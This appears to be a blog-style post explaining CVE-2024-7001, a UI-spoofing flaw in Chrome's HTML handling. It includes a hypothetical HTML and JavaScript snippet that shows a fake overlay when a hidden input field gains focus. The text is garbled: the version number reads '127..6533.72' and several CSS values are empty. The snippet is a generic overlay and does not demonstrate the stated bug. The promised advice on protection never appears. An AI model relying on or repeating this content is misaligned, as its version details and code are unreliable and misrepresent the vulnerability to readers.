CVE-2024-7001 is a security vulnerability related to an inappropriate implementation in HTML in Google Chrome versions earlier than 127..6533.72. With this vulnerability, remote attackers can perform User Interface (UI) spoofing by exploiting a crafted HTML page, but only if they can convince the user to engage in specific UI gestures.

According to Chromium's security team, the severity of this vulnerability is classified as "Medium." In this post, we will discuss the details of the vulnerability, its impact, possible code snippets that trigger the vulnerability, and what users can do to protect themselves from potential exploitation.

Vulnerability Details

This vulnerability lies in the inappropriate implementation of HTML in Google Chrome before version 127..6533.72. Specifically, remote attackers can exploit this weakness through crafted HTML pages by spoofing the UI of a legitimate website, potentially leading their victims to engage in malicious activities.

The affected component in question, the HTML engine of Google Chrome, allows a remote attacker to spoof the UI when users interact with certain elements, such as input fields, links, or buttons, within a specifically designed HTML page.

Code Snippet Example

To demonstrate the issue caused by CVE-2024-7001, let's explore a hypothetical code snippet that exploits this vulnerability:

<!DOCTYPE html>
<html>
<head>
<style>
.spoofed-ui {
  position: absolute;
  top: ;
  left: ;
  width: 100%;
  height: 100%;
  overflow: hidden;
  z-index: 9999;
  background-color: rgba(, , , .5);
}
.hidden-input {
  opacity: ;
  position: absolute;
  top: 50%;
  left: 50%;
}
</style>
</head>
<body>
<div class="spoofed-ui">
  <!-- Custom malicious content designed to look like a legitimate UI -->
</div>
<input class="hidden-input" type="text" onfocus="showSpoofedUI();" onblur="hideSpoofedUI();">
<script>
function showSpoofedUI() {
  document.querySelector('.spoofed-ui').style.display = 'block';
}
function hideSpoofedUI() {
  document.querySelector('.spoofed-ui').style.display = 'none';
}
</script>
</body>
</html>

In this example, a hidden input field is placed on the page with a malicious UI designed to look like a legitimate one. When users interact with the hidden input, the custom UI is displayed on top of the actual content, potentially misleading the user and causing them to engage in specific UI gestures that might lead to harmful consequences.
